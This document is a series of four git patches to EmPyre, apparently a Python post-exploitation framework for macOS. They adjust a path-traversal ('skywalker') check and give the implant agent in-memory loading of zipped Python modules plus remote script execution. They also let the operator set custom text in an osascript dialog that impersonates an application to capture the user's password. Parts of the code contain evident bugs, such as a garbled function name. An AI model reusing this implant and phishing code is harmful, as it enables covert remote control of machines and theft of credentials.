From c4334e85a00c71bbc43b9664d1651282917ceb3a Mon Sep 17 00:00:00 2001 From: HarmJ0y Date: Thu, 29 Sep 2016 13:20:19 -0400 Subject: [PATCH 1/4] patched "skywalker 2.0" thanks to @zeroSteiner --- lib/common/agents.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/common/agents.py b/lib/common/agents.py index b918aec..f03a987 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -183,7 +183,7 @@ def save_file(self, sessionID, path, data, append=False): filename = parts[-1] # fix for 'skywalker' exploit by @zeroSteiner - safePath = os.path.abspath("%s/downloads/%s/" % (self.installPath, sessionID)) + safePath = os.path.abspath("%s/downloads/" % self.installPath) if not os.path.abspath(savePath+"/"+filename).startswith(safePath): dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender="Agents") dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender="Agents") @@ -243,7 +243,7 @@ def save_module_file(self, sessionID, path, data): print helpers.color("[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check'])) data = dec_data['data'] # fix for 'skywalker' exploit by @zeroSteiner - safePath = os.path.abspath("%s/downloads/%s/" % (self.installPath, sessionID)) + safePath = os.path.abspath("%s/downloads/" % self.installPath) if not os.path.abspath(savePath+"/"+filename).startswith(safePath): dispatcher.send("[!] WARNING: agent %s attempted skywalker exploit!" % (sessionID), sender="Agents") dispatcher.send("[!] attempted overwrite of %s with data %s" % (path, data), sender="Agents") From 6c2ae86bfe942a7461fb8d32ff5f87970048f302 Mon Sep 17 00:00:00 2001 From: Chris Date: Sat, 14 Jan 2017 17:22:53 -0500 Subject: [PATCH 2/4] Revamped in memory imports --- data/agent/agent.py | 165 +++++++++++++++++++++++++++++++++++++++++- lib/common/agents.py | 27 +++++++ lib/common/empyre.py | 41 +++++++++++ lib/common/packets.py | 3 + 4 files changed, 235 insertions(+), 1 deletion(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index 59b1dd3..976779c 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -1,3 +1,7 @@ +import __future__ +import zipfile +import io +from urllib import urlopen import struct, time, base64, subprocess, random, time, datetime from os.path import expanduser from StringIO import StringIO @@ -9,6 +13,8 @@ import zlib import threading import BaseHTTPServer +import zipfile +import imp ################################################ @@ -43,7 +49,10 @@ defaultPage = base64.b64decode("") +_meta_cache = {} +moduleRepo = {} jobs = [] +global t # global header dictionary # sessionID is set by stager.py @@ -399,9 +408,163 @@ def processPacket(taskingID, data): # TODO: implement job structure pass + elif taskingID == 122: + try: + #base64 and decompress the data. + + parts = data.split('|') + fileName = parts[0] + base64part = parts[1] + raw = base64.b64decode(base64part) + d = decompress() + dec_data = d.dec_data(raw, cheader=True) + if not dec_data['crc32_check']: + sendMessage(encodePacket(122, "[!] WARNING: Module import failed crc32 check during decompressing!.")) + sendMessage(encodePacket(122, "[!] HEADER: Start crc32: %s -- Received crc32: %s -- Crc32 pass: %s!." %(dec_data['header_crc32'],dec_data['dec_crc32'],dec_data['crc32_check']))) + except: + sendec_datadMessage(encodePacket(122, "[!] Error in Importing module %s during upload: %s" %(fileName, str(e)) )) + + zf = zipfile.ZipFile(io.BytesIO(dec_data['data']), 'r') + moduleRepo[fileName] = zf + install_hook(fileName) + sendMessage(encodePacket(122, "Import of %s successful" %(fileName))) + + elif taskingID == 123: + #Remove a module repo + repoName = str(data) + if remove_hook(repoName) == True: + sendMessage(encodePacket(123, "%s repo successfully removed" % (repoName))) + else: + sendMessage(encodePacket(123, "Unable to locate or remove repo: %s" % (repoName))) + + elif taskingID == 124: + #List all module repos and their contents + loadedModules = "Empire Module Repo\n" + for key, value in moduleRepo.items(): + loadedModules += 'Repo:' + key + ':\n' + loadedModules += '\n'.join(moduleRepo[key].namelist()) + + sendMessage(encodePacket(124, loadedModules)) + else: return encodePacket(0, "invalid tasking ID: %s" %(taskingID)) +################################################ +# +# Custom Zip Importer +# +################################################ + + +#adapted from https://github.com/sulinx/remote_importer + +# [0] = .py ext, is_package = False +# [1] = /__init__.py ext, is_package = True +_search_order = [('.py', False), ('/__init__.py', True)] + +class ZipImportError(ImportError): + """Exception raised by zipimporter objects.""" + +# _get_info() = takes the fullname, then subpackage name (if applicable), +# and searches for the respective module or package + +class CFinder(object): + """Import Hook for Empire""" + def __init__(self, repoName): + self.repoName = repoName + self._source_cache = {} + + def _get_info(self, repoName, fullname): + """Search for the respective package or module in the zipfile object""" + parts = fullname.split('.') + submodule = parts[-1] + modulepath = '/'.join(parts) + + #check to see if that specific module exists + + for suffix, is_package in _search_order: + relpath = modulepath + suffix + try: + moduleRepo[repoName].getinfo(relpath) + except KeyError: + pass + else: + return submodule, is_package, relpath + + #Error out if we can find the module/package + msg = ('Unable to locate module %s in the %s repo' % (submodule, repoName)) + raise ZipImportError(msg) + + def _get_source(self, repoName, fullname): + """Get the source code for the requested module""" + submodule, is_package, relpath = self._get_info(repoName, fullname) + fullpath = '%s/%s' % (repoName, relpath) + if relpath in self._source_cache: + source = self._source_cache[relpath] + return submodule, is_package, fullpath, source + try: + source = moduleRepo[repoName].read(relpath) + source = source.replace('\r\n', '\n') + source = source.replace('\r', '\n') + self._source_cache[relpath] = source + return submodule, is_package, fullpath, source + except: + raise ZipImportError("Unable to obtain source for module %s" % (fullpath)) + + def find_module(self, fullname, path=None): + + try: + submodule, is_package, relpath = self._get_info(self.repoName, fullname) + except ImportError: + return None + else: + return self + + def load_module(self, fullname): + submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname) + code = compile(source, fullpath, 'exec') + mod = sys.modules.setdefault(fullname, imp.new_module(fullname)) + mod.__loader__ = self + mod.__file__ = fullpath + mod.__name__ = fullname + if is_package: + mod.__path__ = [os.path.dirname(mod.__file__)] + exec code in mod.__dict__ + return mod + + def get_data(self, fullpath): + + prefix = os.path.join(self.repoName, '') + if not fullpath.startswith(prefix): + raise IOError('Path %r does not start with module name %r', (fullpath, prefix)) + relpath = fullpath[len(prefix):] + try: + return moduleRepo[self.repoName].read(relpath) + except KeyError: + raise IOError('Path %r not found in repo %r' % (relpath, self.repoName)) + + def is_package(self, fullname): + """Return if the module is a package""" + submodule, is_package, relpath = self._get_info(self.repoName, fullname) + return is_package + + def get_code(self, fullname): + submodule, is_package, fullpath, source = self._get_source(self.repoName, fullname) + return compile(source, fullpath, 'exec') + +def install_hook(repoName): + if repoName not in _meta_cache: + finder = CFinder(repoName) + _meta_cache[repoName] = finder + sys.meta_path.append(finder) + +def remove_hook(repoName): + if repoName in _meta_cache: + finder = _meta_cache.pop(repoName) + sys.meta_path.remove(finder) + return True + else: + return False ################################################ # @@ -629,7 +792,7 @@ def send_job_message_buffer(): def start_webserver(data, ip, port, serveCount): # thread data_webserver for execution - t = threading.Thread(target=data_webserver, args=(data, ip, port, serveCount)) + t = KThread(target=data_webserver, args=(data, ip, port, serveCount)) t.start() return diff --git a/lib/common/agents.py b/lib/common/agents.py index f03a987..c89aa19 100644 --- a/lib/common/agents.py +++ b/lib/common/agents.py @@ -987,6 +987,33 @@ def handle_agent_response(self, sessionID, responseName, data): self.update_agent_results(sessionID, msg) self.save_agent_log(sessionID, msg) + elif responseName == "TASK_MODULE_IMPORT": + #dynamic script output -> non-blocking + + self.update_agent_results(sessionID, data) + + #update the agent log + + self.save_agent_log(sessionID, data) + + elif responseName == "TASK_MODULE_VIEW": + #dynamic script output -> non-blocking + + self.update_agent_results(sessionID, data) + + #update the agent log + + self.save_agent_log(sessionID, data) + + elif responseName == "TASK_MODULE_REMOVE": + #dynamic script output -> non-blocking + + self.update_agent_results(sessionID, data) + + #update the agent log + + self.save_agent_log(sessionID, data) + else: print helpers.color("[!] Unknown response " + str(responseName) + " from " + str(sessionID)) diff --git a/lib/common/empyre.py b/lib/common/empyre.py index 9c47610..d859c1c 100644 --- a/lib/common/empyre.py +++ b/lib/common/empyre.py @@ -16,6 +16,7 @@ import sys, cmd, sqlite3, os, hashlib, traceback, time from zlib_wrapper import compress from zlib_wrapper import decompress +import zipfile # EmPyre imports import helpers @@ -1622,6 +1623,46 @@ def do_creds(self, line): # "Update an agent connection profile." # # TODO: implement + def do_loadpymodule(self, line): + "Import a python module from memory. Provide a path to a single py file or a module folder with an __init__.py. To load multiple modules, place all module folders in a single directory" + path = line.strip() + + if path != "" and os.path.exists(path): + if os.path.splitext(path)[-1] == '.zip' and os.path.isfile(path): + + zipname = os.path.basename(path) + open_file = open(path,'rb') + module_data = open_file.read() + open_file.close() + print helpers.color("[*] Starting size of %s for upload and import: %s" %(path, helpers.get_file_size(module_data)), color="green") + msg = "Tasked agent to import "+path+" : " + hashlib.md5(module_data).hexdigest() + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + c = compress.compress() + start_crc32 = c.crc32_data(module_data) + comp_data = c.comp_data(module_data, 9) + module_data = c.build_header(comp_data, start_crc32) + print helpers.color("[*] Final tasked size of %s for import: %s" %(path, helpers.get_file_size(module_data)), color="green") + module_data = helpers.encode_base64(module_data) + data = zipname + "|" + module_data + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_MODULE_IMPORT", data) + else: + print helpers.color("[!] Unable to locate zip compressed module") + else: + print helpers.color("[!] Please enter a valid module path") + + def do_listrepos(self, line): + "View all of the currently modules in the empire repository" + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_MODULE_VIEW") + + def do_removerepo(self, line): + "Remove a module repo." + repoName = line.strip() + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_MODULE_REMOVE", repoName) + + def complete_loadpymodule(self, text, line, begidx, endidx): + "Tab-complete a module import file path" + return helpers.complete_path(text, line) + def complete_usemodule(self, text, line, begidx, endidx): "Tab-complete an EmPyre Python module path" return self.mainMenu.complete_usemodule(text, line, begidx, endidx) diff --git a/lib/common/packets.py b/lib/common/packets.py index b815f9e..9fcb13c 100644 --- a/lib/common/packets.py +++ b/lib/common/packets.py @@ -60,6 +60,9 @@ "TASK_CMD_WAIT_DISK" : 102, "TASK_CMD_JOB" : 110, "TASK_CMD_JOB_SAVE" : 111, + "TASK_MODULE_IMPORT" : 122, + "TASK_MODULE_REMOVE" : 123, + "TASK_MODULE_VIEW" : 124, "TASK_SMBWAIT" : 200, "TASK_SMBWAIT_SAVE" : 201, From c73854ed9d90d2bba1717d3fe6df758d18c20b8f Mon Sep 17 00:00:00 2001 From: Chris Ross Date: Tue, 17 Jan 2017 18:41:55 -0800 Subject: [PATCH 3/4] Modified repo commands to mirror 2.0_beta branch --- data/agent/agent.py | 35 ++++++++++++++++++++++------------- lib/common/empyre.py | 29 +++++++++++++++++++++++++++-- 2 files changed, 49 insertions(+), 15 deletions(-) diff --git a/data/agent/agent.py b/data/agent/agent.py index 976779c..3a5da5c 100644 --- a/data/agent/agent.py +++ b/data/agent/agent.py @@ -431,20 +431,32 @@ def processPacket(taskingID, data): elif taskingID == 123: #Remove a module repo - repoName = str(data) - if remove_hook(repoName) == True: + repoName = data + try: + remove_hook(repoName) sendMessage(encodePacket(123, "%s repo successfully removed" % (repoName))) - else: - sendMessage(encodePacket(123, "Unable to locate or remove repo: %s" % (repoName))) + except Exception as e: + sendMessage(encodePacket(123, "Unable to remove repo: %s : %s" % (repoName, str(e)))) + elif taskingID == 124: #List all module repos and their contents - loadedModules = "Empire Module Repo\n" - for key, value in moduleRepo.items(): - loadedModules += 'Repo:' + key + ':\n' - loadedModules += '\n'.join(moduleRepo[key].namelist()) - - sendMessage(encodePacket(124, loadedModules)) + repoName = data + if repoName == "": + loadedModules = "\nAll Repos\n" + for key, value in moduleRepo.items(): + loadedModules += "\n----"+key+"----\n" + loadedModules += '\n'.join(moduleRepo[key].namelist()) + + sendMessage(encodePacket(124, loadedModules)) + else: + try: + loadedModules = "\n----"+repoName+"----\n" + loadedModules += '\n'.join(moduleRepo[repoName].namelist()) + sendMessage(encodePacket(124, loadedModules)) + except Exception as e: + msg = "Unable to retrieve repo contents: %s" % (str(e)) + sendMessage(encodePacket(124, msg)) else: return encodePacket(0, "invalid tasking ID: %s" %(taskingID)) @@ -562,9 +574,6 @@ def remove_hook(repoName): if repoName in _meta_cache: finder = _meta_cache.pop(repoName) sys.meta_path.remove(finder) - return True - else: - return False ################################################ # diff --git a/lib/common/empyre.py b/lib/common/empyre.py index d859c1c..0056783 100644 --- a/lib/common/empyre.py +++ b/lib/common/empyre.py @@ -1535,6 +1535,26 @@ def do_python(self, line): msg = "Tasked agent to run Python command %s" % (line) self.mainMenu.agents.save_agent_log(self.sessionID, msg) + def do_pythonscript(self, line): + "Load and execute a python script" + path = line.strip() + + if os.path.splitext(path)[-1] == '.py' and os.path.isfile(path): + filename = os.path.basename(path).rstrip('.py') + open_file = open(path, 'r') + script = open_file.read() + open_file.close() + script = script.replace('\r\n', '\n') + script = script.replace('\r', '\n') + + msg = "[*] Tasked agent to execute python script: "+filename + print helpers.color(msg, color="green") + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_CMD_WAIT", script) + #update the agent log + self.mainMenu.agents.save_agent_log(self.sessionID, msg) + else: + print helpers.color("[!] Please provide a valid path", color="red") + def do_sysinfo(self, line): "Task an agent to get system information." @@ -1650,9 +1670,10 @@ def do_loadpymodule(self, line): else: print helpers.color("[!] Please enter a valid module path") - def do_listrepos(self, line): + def do_viewrepo(self, line): "View all of the currently modules in the empire repository" - self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_MODULE_VIEW") + repoName = line.strip() + self.mainMenu.agents.add_agent_task(self.sessionID, "TASK_MODULE_VIEW", repoName) def do_removerepo(self, line): "Remove a module repo." @@ -1663,6 +1684,10 @@ def complete_loadpymodule(self, text, line, begidx, endidx): "Tab-complete a module import file path" return helpers.complete_path(text, line) + def complete_pythonscript(self, text, line, begidx, endidx): + "Tab-complete a zip file path" + return helpers.complete_path(text, line) + def complete_usemodule(self, text, line, begidx, endidx): "Tab-complete an EmPyre Python module path" return self.mainMenu.complete_usemodule(text, line, begidx, endidx) From e3f5d0b30598ab8b3272c43731f74ee51d3921d7 Mon Sep 17 00:00:00 2001 From: bkup Date: Fri, 17 Mar 2017 16:09:27 -0400 Subject: [PATCH 4/4] Update prompt.py Added support for custom messages. --- lib/modules/collection/osx/prompt.py | 15 +++++++++++++-- 1 file changed, 13 insertions(+), 2 deletions(-) diff --git a/lib/modules/collection/osx/prompt.py b/lib/modules/collection/osx/prompt.py index a1743ad..4b6d7da 100644 --- a/lib/modules/collection/osx/prompt.py +++ b/lib/modules/collection/osx/prompt.py @@ -52,6 +52,12 @@ def __init__(self, mainMenu, params=[]): 'Description' : 'Switch. List applications suitable for launching.', 'Required' : False, 'Value' : '' + }, + 'Message' : { + # The 'Agent' option is the only one that MUST be in a module + 'Description' : 'Custom text that will be displayed in the prompt window.', + 'Required' : False, + 'Value' : '' } } @@ -74,7 +80,12 @@ def generate(self): listApps = self.options['ListApps']['Value'] appName = self.options['AppName']['Value'] + message = self.options['Message']['Value'] + #sets default message if no customization is done + if message == "": + message = appName + " requires your password to continue." + if listApps != "": script = """ import os @@ -91,7 +102,7 @@ def generate(self): # osascript prompt for the specific application script = """ import os -print os.popen('osascript -e \\\'tell app "%s" to activate\\\' -e \\\'tell app "%s" to display dialog "%s requires your password to continue." & return default answer "" with icon 1 with hidden answer with title "%s Alert"\\\'').read() -""" % (appName, appName, appName, appName) +print os.popen('osascript -e \\\'tell app "%s" to activate\\\' -e \\\'tell app "%s" to display dialog "%s" & return default answer "" with icon 1 with hidden answer with title "%s Alert"\\\'').read() +""" % (appName, appName, message, appName) return script